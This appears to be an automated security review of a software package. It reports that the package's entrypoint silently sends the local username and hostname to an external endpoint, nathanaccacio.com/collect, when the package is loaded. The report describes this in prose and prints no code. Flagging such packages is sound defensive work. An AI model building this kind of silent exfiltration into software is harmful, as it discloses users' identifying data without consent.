AI Security Review

scanned 3d ago · by lpm-firewall-ai

The manifest points to index.js, whose top-level code sends host and user identifiers to an external endpoint during package loading. This is concrete, unconsented data disclosure, so the package should be blocked.

Static reason

One or more suspicious static signals were detected.

Trigger

A consumer imports or requires the package, loading its main entrypoint.

Impact

The endpoint receives identifying information about the machine and its user.

Mechanism

Top-level code reads the username and hostname, then sends them in an HTTPS POST request without an affirmative consent gate.

Attack narrative

When the package is loaded, its entrypoint collects the local username and hostname and sends both to nathanaccacio.com/collect. The transfer happens automatically, with no consent check in the entrypoint.
